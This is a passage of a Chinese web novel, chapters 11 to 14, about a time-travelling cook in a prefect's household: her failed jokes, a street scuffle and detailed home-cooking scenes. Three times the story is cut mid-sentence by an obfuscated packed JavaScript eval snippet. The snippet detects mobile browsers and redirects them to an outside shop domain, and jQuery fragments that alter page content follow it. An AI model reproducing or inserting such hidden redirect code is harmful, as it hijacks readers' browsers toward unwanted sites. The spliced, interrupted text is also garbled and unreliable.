身上还是痛得慌,无不在昭示她这些天带伤赶路有多苦,想起那几日风餐露宿、提心吊胆,秦见君愈发觉得还是知州府好,这工作一定要保住! 于是她试探道:“大人是心情欠佳吗?” 屏风那头的几人停了议论,那目光隔着屏风都能扎进秦见君脸上。 “我听说,人在心情不好的时候,吃进嘴里的东西是苦的,即便进了胃里,也容易吐出来。” 那大夫捋了捋胡子,赞同道:“是有此说法,不知这位小娘有何高见?” “不如我说几个笑话,让大人开心开心?”秦见君心想:我能有什么高见?不开心就想办法让他开心点呗。 11. 第 11 章 屋子里静了会儿,都在等裴眠拿主意。 秦见君的声音清亮,咬字清晰、中气足,却并不刺耳,让人觉得如沐春风。 不知为何,听到她的声音,裴眠的心情就有些好转了。 “说来听听。” 秦见君一下子来了精神,之前为了直播效果,她可是熟读过《超绝笑话大全》的! 她在脑中搜刮了一个古代人能听懂的笑话,清了清嗓子,开口道:“有一天一只橙子在路上遇到了一只香菇,香菇被橙子撞了,于是对橙子道‘死开!别挡道’,然后橙子就死了,请问为什么?” 裴小之想了想,问:“为什么?” 秦见君笑道:“因为菌要橙死,橙不得不死!” 裴小之:“......” 裴眠:“......” 袁原:“......” 大夫:“......” 秦见君以为自己拍视频、做直播,早就已经摒弃了不必要的“尴尬情绪”,没想到此刻她竟然觉得有点尴尬,抿了抿唇,她决定补救一下。 “后来又有一只橙子撞到了香菇,香菇还是说‘死开!别挡道’,但橙子却没有死,为什么?” 裴小之隐隐觉得答案不会很妙,但还是配合道:“为什么?” “因为橙子在身上抹了一层果酱,酱在外,菌命有所不受!” 裴小之:“......” 裴眠:“......” 袁原:“......” 大夫:“......” 秦见君在沉默的气氛中感到窒息,一定是古代人不懂现代人的梗! 她低头咳了两声道:“大人,天色不早了,我还要给您做午饭......您看?” 裴眠揉了揉眉心:“下去吧。” 秦见君拔腿就走,生怕晚一秒就要溺死在这尴尬的空气里! 大夫收了箱子,对裴眠道:“有时也并非是心情欠佳才会吃不下饭食,不知大人平日公务繁忙吗?” “相较之前已经轻快多了。”裴眠说的是实话,绵州的事务在赵浅聿的打理下井井有条,他接手后也并未花费太多心思,比起先前在虔渊州勾心斗角,确实轻快多了。 “想来大人今早能吃下饭,也是因为轻快了些,若是大人想治这呕吐之症,最好是将手头的事务都停了,安心歇息一段时日,说不定有奇效。” 裴小之在一旁狠狠点头,他们家郎君忙了这些年,几乎都没休息过,他看着都心疼。 待大夫走了,裴小之便劝裴眠:“郎君,要不你就歇歇吧?” 裴眠的脸色算不上好,甚至有些阴郁,半晌,他紧绷的脖颈松懈了,整个人瘫靠在枕头上,声音低沉:“去请赵浅聿过来。” 裴小之一听,有戏!这是要请赵知州过来交接事务!他忙出门去了。 屋子里只剩下裴眠与袁原。 袁原将木牌递给裴眠:“昨日我去找了卢大人,他见了大人的令牌后脸上并无惊讶之色,似是早有预料。” “交代他的事呢?”裴眠问。 “卢大人说官家心系科举,要他必须秉公办理,即便大人不去叮嘱,他也会照着官家的话办。” 卢飞枫此人入朝后不党不群,立志要做纯臣,裴眠与赵广涵斗法时他也从不参与,只是科举事关重大,裴眠怕赵广涵用手段逼迫卢飞枫,若是赵广涵得逞,那他的门生将通过这次科举侵入朝堂,后果不堪设想。 不过如今看来,卢飞枫是个能顶事的,或许这也是官家在自己离开虔渊州后,将科举之事交予卢飞枫办的原因。 裴眠闭了闭眼:“不必盯着他了,让我的人都撤出来。” 袁原蹙眉:“大人?” “朝堂上风云诡谲,我这身子撑不住,不如放手。” “大人这么多年苦心经营......官家也看重您,只待一个时机,官家必会重新启用您!”袁原难得情绪有些激动。 “在此之前,我的身子若还是这样......回去了也只会被人啃得连骨头都不剩。” 裴眠靠坐在床头,春日里他还盖着厚被,薄薄的一片人被压在床上,面上毫无血色,眼窝深陷,脸上没有肉,衬得腮帮往里凹,下颌骨突出,再往下便是细细的脖颈,青筋浮现,看着极其虚弱。 袁原忽然想起想起第一次见裴眠时的情景,那时的他风华无两,一身绿袍坐于高头大马上,剑眉星目、顾盼生辉,玄支街边前来观看状元游街的小娘子们纷纷侧目,面带桃花、含羞垂首。 有胆大的直接问多少钱能将裴眠招回府当夫君,裴眠挑了挑眉,回道:“千金不换。” 自那后很长一段日子里,街头巷尾都会谈及这位“裴千金”。 只是这样恣意张扬的少年,进了官场后竟被生生磨得柴米不进、日渐消瘦。 后来裴眠找到袁原,问他愿不愿意卖身于自己,袁原不明白,“爹爹”将他们培养出来,就是要卖给达官贵人的,即便是他这样身手矫健、武功卓群的,也只有被挑选的份。 “爹爹”迟迟不肯将他卖出去,不过是价钱没谈拢,既然裴眠能见到自己,就说明“爹爹”那边松了口,既如此,又为什么要问自己愿不愿意呢? “但凭大人差遣。”他这样回道。 “爹爹”说过,贵人们要什么便做什么,无需问缘由,也不能拒绝。 彼时裴眠已极其虚弱了,他抬眸看向袁原,顿了顿,还是开口道:“我身子不好,又在朝为官,且树敌颇多,你要护住我的性命,往后的日子不会太好过。” 袁原似是听到他轻叹了一下。 “我这身子若是好不了了,便会将你送到我爹娘那儿去,工钱会少很多,你若是心有不甘,不如现在同我说了。” 像袁原这样的身份,卖给谁便是谁的了,主人家可以给工钱,也可以不给,全凭良心。 但裴眠先前见过一个案子,说是有户人家买了奴仆,不给那奴仆工钱,并每日折磨苛待,奴仆心生怨怼,深夜暴起将这户人家灭门后自戕了。 他爹虽有太师头衔,却早已不在朝中任职,且是一介文人,对打打杀杀的事并不通晓。 娘虽然有时脾气大,但也从不动粗,裴眠生怕买了个小心眼的奴仆回去,给爹娘埋下祸患。 袁原对裴眠的担忧感到无奈,他从小被“爹爹”捡回来训练,什么样的苦和苛待没受过?于他而言,在被卖出去之前,活着是为了训练;卖出去后,活着便是为了执行主人家的命令,他自己都不知道自己想要什么,哪里来的怨恨呢? 从那日起,他便跟在了裴眠身边,他知晓裴眠在官场上如何呕心沥血,也眼睁睁看着他身子一日不如一日,如今虽然可惜裴眠先前的布局,却也无法再劝他拿命去拼了...... 秦见君逃回了厨房,继续做馄饨,原想着抽空出府去买十三香加入馅料中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395795|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但想起刚刚知州大人不给她的笑话捧场,她便歇了出府的心思,做清淡点好了,吃那么好也不长幽默细胞啊...... 热气腾腾的馄饨挤在碗里,汤上缀着翠绿的葱花,紫菜软软地趴在薄薄的馄饨皮上,遮住了皮下透粉的肉馅。 秦见君想了想,又加了些醋进去。 裴小之来厨房取餐时,还同秦见君说晚上府中有客,让她多准备一人的饭菜。 “若是缺什么食材,尽管吩咐下人去采买......”说着裴小之忽然想起来秦见君问他自己能不能出府的事,于是补了一句,“秦小娘自己去采买也是一样的,记得走侧门。” 秦见君转头看了一眼莲花漏,这会儿才十二点多,她出趟门再回来做晚饭也来得及。 眼见着裴小之已经出了厨房,快走到落霞轩了,秦见君喊了一声:“之管家!锅里给你留了馄饨!我出府一趟!” 裴小之转头,面带惊喜,冲秦见君道:“去吧!” 秦见君忙将自己那份馄饨吃了,收拾完厨房便回落霞轩去拿钱。 从枕头下掏出了自己仅剩的二十文钱,秦见君懊恼刚才没问裴小之提前预支工资,不过她也并不打算买什么,只是必须出府去打听打听铺子的价格。 出了落霞轩,她想起裴小之告诉她的,府门朝南,东西为侧门,北边是后门,厨房挨着西边,照理说再往那边走走就能看见侧门了。 她脚步轻快地同侧门小厮打了招呼,那小厮看着年纪小,看见她便耳廓通红,还结结巴巴问她要不要人跟着,被秦见君婉拒了。 知州府西侧门出去便是菜市,难怪厨房在西边! 秦见君一路走一路看,下午卖菜的摊子不算多,菜品少且成色不佳,她没有犹豫便穿过了菜市。 绵州最宽的街道要数平雅街,贯穿南北城门,连结无数街巷。 秦见君沿着平雅街走着,发觉大荆还真是繁华,街边铺面卖什么的都有,绸缎衣裳、吃食酒水、皂盆日用等应有尽有。 走了一会儿,她停在了珍馐楼前,这酒楼是她来大荆见过最大、最气派的!光前面的欢门就有三层! 即便是午饭过后,门前食客也是络绎不绝。 秦见君抬头去看,珍馐楼一共四层,层层都有被栏杆围住的露天平台,路人抬头便能看见有人在楼中对饮谈笑,好不惬意,让人心生向往。 她摸了摸身上的二十文钱,正琢磨够不够点一个菜,没想到珍馐楼里忽然冲出来一个膀大腰圆的男人,看着三十岁上下,粗眉、凸眼、酒糟鼻,猪肝色的嘴唇厚到外翻。 他秦见君身前站定,面色不虞:“你来这里做什么?” 秦见君有些莫名,她都没见过这人,怎么对方对自己敌意这么大? 秉承着不惹事的态度,她并没有回话,转身就要走,却被那男人抓住了肩膀。 “嘶......”男人手劲大,也并未收着力道,掐得秦见君骨头都要散架了,正浑身酸痛的她可受不了这样的刺激,一声痛呼后想躲开,却被男人死死钳制住,挣扎无果反到失了平衡,一屁股摔坐在地上。 路人纷纷围了上来,秦见君隐约听到有人喊“房大厨”,她伸手揉了揉自己的肩膀,还好没脱臼,一抬头却见那男人又朝自己伸手,她吓得抬手格挡。 等了一会儿,预想中的疼痛并未落到身上,身前落下一片阴影,秦见君抬头...... 知州大人? 12. 第 12 章 裴眠说不想再管朝堂的事了,袁原虽心有不甘,却也不好驳主人家的决策,满心郁闷地走在街上,没想到正巧看见秦见君被房大厨一把甩在地上。 房大河抬头见是袁原,他心里一慌,先前去知州府做饭时,他曾与袁原有一面之缘。 从裴小之与袁原的对话中不难猜出,这个袁原是知州大人的亲信,看他高大精瘦又气质冷漠,跟手无缚鸡之力的裴小之绝不是一路人,而且这知州大人曾是朝中重臣,说不定袁原手上沾过人命的! 房大河的双下巴颤了颤,往后退了两步,秦见君趁机爬了起来。 袁原侧头看着秦见君,似是在看她是否受伤。 秦见君怕事情闹大,连忙摆了摆手,在他身后小声道:“我没事,这就要回府了。” 袁原又上下打量了她一番,虽然裴眠将吃进去的东西都吐了,但总比从前连吃都不肯吃要好,这小娘子可不能有事。 最后袁原判断秦见君确实没有受伤,此事便罢了。 秦见君离开之前回头看了珍馐楼好几次,哪天她要是也能开上这么大的酒楼就好了...... 她刚刚坐在地上时,从周围路人的议论声中知道,今日跟她起冲突的是珍馐楼的主厨“房大厨”,之前也来知州府应聘过厨子,但是被拒了,所以看自己不顺眼。 秦见君倒不在意别人看她顺不顺眼,只是可惜以后估计都没机会进珍馐楼看看了。 回到熟悉的厨房,秦见君看见裴小之正坐在灶台边的小矮凳上发呆。 “之管家?” 裴小之看到秦见君,瞬间从百无聊赖的发呆脸变成充满期望的开心脸。 “你回来了!”裴小之忽然注意到秦见君粉色裙子上有泥土,“这是怎么了?” “啊......没事,被路上的石头绊了一跤。”秦见君不想说房大厨的事徒惹裴小之生气。 她打了水洗脸洗手,问裴小之:“今天的馄饨知州大人还喜欢吗?” 提到吃食,裴小之就来了劲:“郎君很喜欢!吃完馄饨还喝了半碗馄饨汤呢!”他回想起鲜香的馄饨汤,不自觉咽了咽口水。 秦见君包的馄饨皮薄馅大,在汤水里泡过之后,薄薄的馄饨皮几近透明,入口即化,肉馅剁得碎,又腌制过,一口下去饱满多汁、嫩滑爽口,裴小之连锅里剩下的汤都全喝干净了! 只不过裴眠还是没坚持多久,将中午吃的馄饨尽数吐了出来,这事裴小之没说,怕打击秦见君做菜的信心。 秦见君笑了笑,果然还是清淡点的东西适合知州大人,那今晚就做清炒时蔬、香煎脆皮豆腐、黄瓜炒蛋再加一个山药芙蓉汤。 “之管家,赵大人来了!”有小厮在厨房窗外喊了一声。 裴小之应了一声,对秦见君道:“我先去接待客人了,晚些时候来取饭菜。” 秦见君点点头。 春季常见的蔬菜厨房中都备着,秦见君挑拣了一会儿,芥菜有点蔫,芦蒿老了些,倒是豌豆苗看着脆生生的,她抓起一把豌豆苗在清水中洗净,放在一旁沥水。 转身抽出一根山药去皮、洗净、剁成山药碎,拍了几头蒜,胡萝卜、香菇切丁,青菜洗净撕碎备用,又敲了几个鸡蛋搅匀,得到三碗鸡蛋液。 知州府的厨房很大,中间有一个很大的台面,能放下十口锅,但自从秦见君来了,小厮们便将锅都收了起来,只留了三口,其余的地方摆着食材和锅碗瓢盆,已经很够秦见君用了。 将刚刚的备菜都统一放置在一口锅旁,她转身取老豆腐切块,用碗舀了小半碗淀粉,小葱洗净切碎,黄瓜洗净切片,如此备菜工作才算全部完成了。 起锅烧油,丢入蒜爆香,倒入沥干水的豌豆苗,炒软后撒上盐、倒了一点点酱油,再次翻炒均匀就出锅了。 青绿色的豆苗带着些许油亮,却并不显得油腻,在瓷白的盘子上显得尤其清新。 洗锅太慢了,秦见君用干净的抹布将锅中剩余的油卷了出来,冒着热气的锅温度极高,但她的无情铁手三下五除二便将锅擦干净了,重新倒油进去。 等油热的时间里,秦见君撒了少许盐进鸡蛋液中,重新搅匀,油热后鸡蛋液下锅炒熟盛出,再将黄瓜倒进去炒至变软,加入鸡蛋、酱油、盐和少许糖,翻炒均匀后盛出。 黄瓜炒蛋的配色是永远看不腻的,明黄的鸡蛋块覆在黄瓜片上,鸡蛋块褶皱中的酱汁缓缓流向黄瓜片,能想象入口时的脆嫩与鲜香。 这次秦见君没急着去擦锅,而是转身开了一口干净的锅,锅中倒油,将胡萝卜和香菇放进去翻炒均匀,加入清水,再将山药碎倒进去,接着便盖上了锅盖。 她重新将刚才的锅擦干净了,趁着热油时,用筷子夹着老豆腐块在淀粉里滚一圈,再放进蛋液中滚一圈,油热下锅将老豆腐煎至两面金黄,这时候再用筷子去戳,就能感觉到豆腐表面的脆皮断裂时的力道。 在碗中加入蒜末、酱油、淀粉、糖和半碗清水,搅匀后便是酱汁,淋入锅中跟老豆腐一起煮。 这期间隔壁锅的汤也快好了,秦见君揭开锅盖,浓郁的胡萝卜香菇味扑鼻而来,她将蛋液淋进热汤中,蛋液很快变成淡黄色,丝丝缕缕地分散在汤中,再将青菜碎扔进去,秦见君便将这口锅的火灭了,剩下的余温足够将汤烧熟了。 老豆腐锅中的酱汁被煮得十分浓稠,褐色的浓郁汤汁围在老豆腐旁,随着温度增高而不断冒出泡泡再涨破,咕嘟咕嘟的声音很是悦耳。 秦见君灭了火,盛出装盘,最后撒上碧绿的葱花,香煎脆皮豆腐就做好了。 等她把汤盛出来,刚好裴小之来了。 “我来取晚饭!”裴小之脸上带着笑,很高兴的样子,这种高兴在看到面前的三菜一汤后变得更加强烈了。 秦见君忽然觉得知州大人应该是个很好的人,能把身边的裴小之保护得这样天真纯粹。 “老规矩,给你留了一份,没放锅里,容易冷,你要早点来吃。”秦见君想了想又叮嘱了一声,“香煎脆皮豆腐是给客人做的,拦着点大人,他吃不了这么油的。” “嗯嗯!”裴小之兴奋地点头,指挥着后面的小厮将饭菜都端走了。 秦见君一个人在厨房吃了晚饭,她一边吃一边想着不知道大荆有没有耗油,最好是生抽老抽都有......话说能不能让之管家配两个烧火的小厮给她呢?以后府中要是来多了客人,她就没法兼顾菜和火候了...... 她想得认真,丝毫没有注意到自己一个人端着碗站在空荡的厨房里吃饭,看起来有多凄凉...... 裴小之把饭菜带到的时候,赵浅聿还在同裴眠说话。 “休息休息也好,我早说了让你好生歇歇,再大的志向也得有命去实现啊。”赵浅聿很高兴裴眠能主动说要休息。 饭菜端上桌后,赵浅聿耸了耸鼻子:“这是你们家小厨娘做的?” 先前听说知州府招了个厨娘,还以为第二日便会被赶出来,没想到这都留到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395796|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 晚上了。 裴眠没理他,接过下人盛的饭,提起筷子犹豫了一下,最终伸向香煎脆皮豆腐,没想到筷子还没碰到豆腐脆皮,就被裴小之拦住了。 “郎君,秦小娘说了,这道菜是做给客人的,对你来说太油了,不能吃。” 裴眠:“?”她的意思是让我干看着不许吃? 赵浅聿见裴眠一脸的不可置信,忍不住笑出了声:“哈哈!”伸手去夹了一块豆腐,脆皮被咬开的瞬间,里面包裹的豆腐爆出咸香汁水,充盈了整个口腔,赵浅聿话都来不及说,专注地闭嘴嚼着豆腐,从他沉浸的表情就能看出这道菜有多好吃。 裴眠转头看向裴小之,裴小之一脸冷漠:不行。 事实便是如此,裴眠吐了炒面和馄饨,许就是因为一个油、一个荤,这香煎豆腐是决不能吃的。 这顿饭吃得赵浅聿赞不绝口,比平日里多吃了一碗。 “你这小厨娘手艺是真不错,家常菜都能做得这样好吃!”赵浅聿放下碗筷,喝了口茶。 “还行。”裴眠应了一声。 一旁的裴小之勾起了唇角,他们家郎君就是太内敛了,明明高兴得眉头都舒展开了,还一副满不在乎的样子说“还行”。 用过晚饭,赵浅聿又跟裴眠下起棋来,两人下棋都十分专注,无需人伺候。 裴小之心里还惦记着秦见君给他留的饭,于是找了个借口溜了。他赶到厨房时,秦见君正坐在小矮凳上吃饭。 夜里厨房点上了烛火,但秦见君怕浪费,做完饭后就只留了一盏,这盏烛火只够照亮她所在的那一小块地方,在裴小之看来,她身形单薄,蜷缩在小矮凳上就着忽明忽灭的烛火吃冷饭...... 裴小之走上前,秦见君刚好吃完饭。 “秦小娘,我回头去跟大人说,给你加工钱。” “啊?”秦见君还在想要做点什么好吃的来报答知州大人今日的救命之恩,结果就被裴小之这个“大惊喜”兜头砸中! “本来你只需负责郎君的饭食,现在不仅要做郎君和客人的,还要带上我的......”裴小之心里过意不去。 秦见君也不扭捏,照裴小之这么算,她的确值得涨工资,于是她喜滋滋地同意了。 “之管家,我还有个不情之请......”虽然吃住都在府上,但秦见君发现自己除了身上这套衣服以外,没有可以换洗的,还是要预支工资去买些才行。 再说今日出门忽然出现意外,她还没来得及了解铺面价位就回府了,还是要抽空再出府一趟,正好顺便买衣裳了。 裴小之正吃得脸颊泛红,嘴里塞得满满当当地,含糊道:“什莫?” “我想预支点工钱......” 裴小之毫不意外,在他看来,裴眠是很满意秦见君的,她一定能在府中留下来,况且小娘子家家的,就该手上有点余钱,买买衣裳首饰的。 他咽下嘴里的食物,对秦见君道:“等明日账房来了,我带你去领。” 没想到这么顺利,秦见君忍不住露出一个笑。 厨房外不远处,赵浅聿挑了挑眉:“你家这小厨娘长得很漂亮啊。” 裴眠抬头看了赵浅聿一眼,没搭话。 “不过她做饭是真的很好吃,能不能请她去我府上待段日子?”赵浅聿问。 裴眠看着厨房里昏黄烛火下笑意盈盈的小娘子,心里说不出的熨帖平静,先前也是,看见她后心底的燥郁就自动消散了,为什么呢? 13. 第 13 章 “问你话呢!”半晌没得到裴眠的回复,赵浅聿只好又问了一遍,“能不能请她去我府上待段日子?” 裴眠往后一仰,后脑勺枕在轮椅背上,虚弱道:“我吃不下东西......”言下之意是只吃秦见君做的饭,若是将她带走,自己就要饿肚子了。 赵浅聿:“......”好装...... 厨房里秦见君看裴小之吃得欢快,心里也很高兴,毕竟自己做出来的食物能给人带去快乐,就是秦见君最大的心愿。 不过她忽然想起一件事,问裴小之道:“之管家......你知道知州大人平时喜欢什么吗?” 裴小之扒饭的手一顿,抬眼去看秦见君,那眼神直勾勾的,带着些莫测,盯得秦见君浑身起鸡皮疙瘩。 “怎么了?” 裴小之把嘴里的饭咽了下去:“我们郎君他现在身子不好,不打算娶妻纳妾的......” “啊?”秦见君愣了一瞬,很快反应过来,是裴小之想歪了,她连忙解释,“不是你想的那个意思!知州大人给了我这么好的工作,我想报答他。”其实是想报答今天在珍馐楼的事。 裴小之顿时放心了,想着秦见君也没见过裴眠,不至于有什么一见钟情、非君不嫁的戏码...... “我们郎君从前什么都喜欢的!马球、打猎、射箭......凡是虔渊州里能玩的,郎君都喜欢!”说着,他又有些沮丧起来,“不过自从胃口不好后,这些体力活儿他都不能玩了,眼下只能每日关在这府中看书......” 秦见君一直很好奇,眼下话都说到这儿了,她便顺势问道:“大人他为什么胃口不好啊?” 裴小之叹了口气,满面愁容:“大夫只说是心病,无需吃药,只要好好吃饭就行了,可我们郎君吃什么吐什么,实在是吃不进去......” “听着......像是厌食症......”秦见君嘟囔了一句。 “‘厌食症’是什么?”裴小之连忙问,“你见过这病症?哪个大夫能治?” 秦见君摇摇头:“我不能确定大人是不是厌食症,这病症大多是心理问题,大人他很注重自己的身材吗?” 她想起从前在网上看到,很多女孩子过度节食减肥就容易得厌食症,难道大荆朝也流行以瘦为美? 裴小之点头:“我们郎君身材一向很好,他也挺在意这些的......” 秦见君回忆了一下“知州大人”的身材,确实精瘦干练,可他都已经这么精瘦了,还需要节食吗? 她心里怎么想的,嘴里就怎么说出来了,裴小之疑惑道:“郎君他从不节食,从前都有好好吃饭的。” 不是节食?秦见君挠了挠脖子,又问:“那他是什么时候开始胃口不好的?” “先前我同你说过的,我们郎君中了状元,入朝为官后胃口便一日不如一日了。” 秦见君想起是有这么回事儿,不过她看“知州大人”脚步稳健、容光焕发,并不像胃口不好的样子,就没放在心上。 这样看来,知州大人或许是工作压力太大才导致的厌食? “大夫有没有说大人的胃有问题?比如不能吃刺激性食物?”秦见君问。 裴小之摇头:“大夫说正常吃即可。” 秦见君点了点头道:“之管家,你能跟明日采买的小厮说一声吗?我想要一些新鲜的芥菜。” 话题突然转变,裴小之有些懵,但还是顺着秦见君的话,指了指桌上的时蔬道:“小厮们每日都会采买当季蔬菜的,应当有芥菜。” “那些有点蔫了,而且我需要很多。”秦见君道。 “要那么多芥菜做什么?”裴小之问。 “腌酸菜。” 既然知州大人胃口不好,那便做点开胃的。 裴小之又跟秦见君聊了会儿,想着还要去吩咐采买小厮,便没耽误,早早告辞了。 沿着石甬路走了一小段,裴小之抬头看见裴眠和赵浅聿站在树下暗处,两人无声无息的像鬼一样,吓得他差点叫出来! “郎君!赵大人!”裴小之脸都憋红了,骂又骂不得,只能喊两声泄愤。 “急急忙忙的做什么去?”赵浅聿可是眼睁睁看着裴小之和秦见君相谈甚欢,不知他为什么急着告辞。 “秦小娘说要腌酸菜,我去吩咐采买小厮明日多买些新鲜芥菜。”裴小之道。 裴眠看向他:“街上有卖腌酸菜的。” 裴小之听裴眠说这个,脸上立刻堆满了笑:“秦小娘说她亲自腌的干净又开胃,当是报答郎君了。” “报答?”裴眠疑惑。 “报答郎君让她进府当了厨娘,她原是偏远村子里的,只身一人来绵州讨生活,若不是进了知州府,还不知道要吃什么苦头呢!” 裴眠转头看向厨房,秦见君还在收拾碗筷,柳眉杏眼,温顺柔和。 确实容易吃苦头。 赵浅聿轻拍了一下裴眠的肩:“看得出来她对你够上心的,你可得给她涨工钱啊。” 裴小之忙跟着附和。 上心,这话听着还挺悦耳的,裴眠掩在大氅中的唇勾了勾,对裴小之道:“涨。” 当晚,裴眠直到躺在床上犯迷糊时,才忽然想起,今日的晚饭他竟没有吐出来! 每夜如影随形的饥饿感终于消停了,他抬手覆在肚子上,指尖能碰到凸起的肋骨,根根分明,腹部下凹,随着呼吸轻缓浮动。 裴眠又想起那小厨娘对着裴小之笑,那是一种发自内心的、充满力量的笑,很耀眼、很漂亮,他想着想着便进入了梦乡...... 翌日早上,秦见君下了一碗面给裴眠吃。 卧着鸡蛋的面条看起来很素,面汤也极其清浅,裴眠看着有些没胃口。 “郎君,秦小娘说用这个佐着吃。”裴小之又端上来一盘拍黄瓜。 翠绿的黄瓜被拍得又碎又瘪,裂开的瓜缝中填满了酱汁,清香中伴着点辛辣味。 裴眠夹了一块入口,脆爽的黄瓜被咬开的瞬间迸出清甜汁水,与外面的酱料相融合,辛辣味缓缓升上来,口味层次丰富。 他挑了挑眉,又夹了一筷子面条,面条中加了芝麻油,香气扑鼻,汤水寡淡,正好冲散舌尖的黄瓜酱汁,他一口一口有些停不下来,最后竟然将一碗面和一小盘拍黄瓜全吃完了。 裴小之在一旁欣慰地看着,心里也愈发对秦见君尊敬起来。 另一边的秦见君送走裴小之后,就将今早才采购进来的新鲜芥菜都搬上了砧板。 芥菜冲水后鲜翠欲滴,秦见君将芥菜切成两半,露出横截面,把它们又拿进清水中仔细洗了一遍,每一片菜叶中间都被洗得干干净净。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395797|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碗中加入糯米粉和清水拌匀,起锅烧水,水开后将糯米水倒入,撒上盐,等水再次煮沸,便将芥菜放了进去,烫一下便捞出来,摊开放在砧板上,锅中的汤水舀出来盛在盆里。 秦见君转头看了一眼莲花漏,才八点,她正好可以出去走走,顺便买件衣裳。 这次她没再闲逛,而是径直去了茶马街不远的脚店,打听了一下,发现这个位置的脚店租金按年算,一年要将近二两金,也就是两万七千多文,而平雅街上的脚店租金则更贵,要三两金...... 裴小之给她的工钱涨到了五贯一月,但她这会儿却忽然觉得自己那五贯的月薪有些不够看了...... 是以她进了成衣铺子,也只是挑了件自己喜欢的样式,没有在材料上过多讲究,能省则省。 临出铺面前,她忽然看见铺子角落里叠着一件背心样式的衣裳,老板娘极有眼色,忙过去将那衣裳抖开了:“这料子很扎实,不容易坏......” 秦见君接过衣裳,这不就是围裙吗! 听老板娘夸了一顿料子结实后,秦见君又掏钱将这件也带走了。 出了成衣铺子,她又转向药店,十三香得买点儿,做菜的时候很能调味的。 待她回府时,已经快午时了。 裴小之正在厨房转圈,看见秦见君回来才算松了口气:“郎君等你做饭呢!” 秦见君都来不及回落霞轩,取出围裙穿上后就开始做菜。 裴小之在一旁围着她夸:“秦小娘这新衣裳真好看!” “这是围裙,做饭的时候穿上,油就不会溅到身上了。”秦见君一边取出昨夜剩的米饭,一边回道。 裴小之见她拿了隔夜饭,脸色有些不好:“秦小娘......就算来不及煮饭,你再下一碗今早的面也是好的,怎么能给郎君吃隔夜饭呢......” 秦见君笑着道:“蛋炒饭就是要用隔夜饭,这样饭粒才能颗颗分明,都裹上鸡蛋。” 厨房外不远处的树荫下,裴眠出声道:“这里就好,你去忙吧。” 袁原抬眼看了看厨房,不明白裴眠为什么非要来这里看书,不过裴眠已经翻开了书,他也不好再说什么,转身忙去了。 初春的风带着花草香气,偶尔刮下来几片叶子落在书上,裴眠轻轻拂去,顺势抬头看向厨房。 秦见君切了肉和菜,又打了一碗蛋液,油热后将蛋液和肉放进去翻炒,撒了料后又将隔夜饭放了进去,锅中不断发出细密的滋滋声,裴小之有些怕油便往一旁靠。 裴眠即便没听见声音,也知道裴小之在喊“慢点”。 秦见君回头冲裴小之笑,手上翻炒动作不减,锅中热汽上升,为她的眉眼蒙上了一层薄纱,像雾中远山,又像待嫁新娘...... 一锅喷香的蛋炒饭做好了,裴小之不放心地尝了一口后,两眼放光,嚷嚷着要让自家郎君赶紧吃上这等美味,端着碗就往外跑。 秦见君乐得不行,目光追着裴小之一路远去,直到她看见不远处树荫下的人影。 又是轮椅...... 那人在树荫下,光线昏暗看不清楚,可秦见君还是不自觉盯着看,忽然她想起那晚池塘边的轮椅,心里一跳,忙移开视线不敢再看...... 自己是不是真的遇到什么脏东西了啊! 14. 第 14 章 秦见君缓了缓,重新望向树荫时,发现那坐轮椅的人又消失了! 她不禁后背发毛,搓了搓手臂上的鸡皮疙瘩:“是不是快到清明了......” 先前晾在厨房里的芥菜和汤水都凉了,秦见君取了一个干净坛子,将芥菜一条条塞了进去,倒入汤水,怕芥菜浮在汤面上,她拿两根筷子交叉卡在坛口,将芥菜都压入汤水中,这才封了盖。 做完这些,秦见君回了落霞轩,睡上了这些日子以来最舒适的午觉。 她醒来后日头还高高挂着,屋子里光线充足,她便将身上的钱都拿了出来,摊在桌上数。 怕下月没工资拿,她就只预支了一小半工资。两贯钱花去了三百文买衣裳,五十文买围裙,还剩一贯整钱加六百五十文。 在茶马街附近开脚店要两万七千文租铺子的钱,还没算上店铺装修和材料采买,再加上伙计工钱...... 零零散散加起来,手上没个五两金,怕是很难做生意。 秦见君攥着铜钱,心里默算,即便不怎么花钱,想要凑齐五两金,也得在知州府上待上十个月...... 按照赚钱速度来说,十个月算很快了,毕竟她在现代可是凑了好几年的本钱。 但秦见君答应过冯莲,若是开店,就招她来当伙计,如今冯莲的年纪不小了,再有十个月都到明年了,她家里人难保不会今年将她嫁出去...... 她有些着急,但一时间也想不到别的法子,只能先将手头的活儿做好。 这一做就到了四月,裴小之每日都来取三餐,回回都说知州大人吃得高兴,秦见君索性不猜他的饮食偏好了,每日变着花样什么都做。 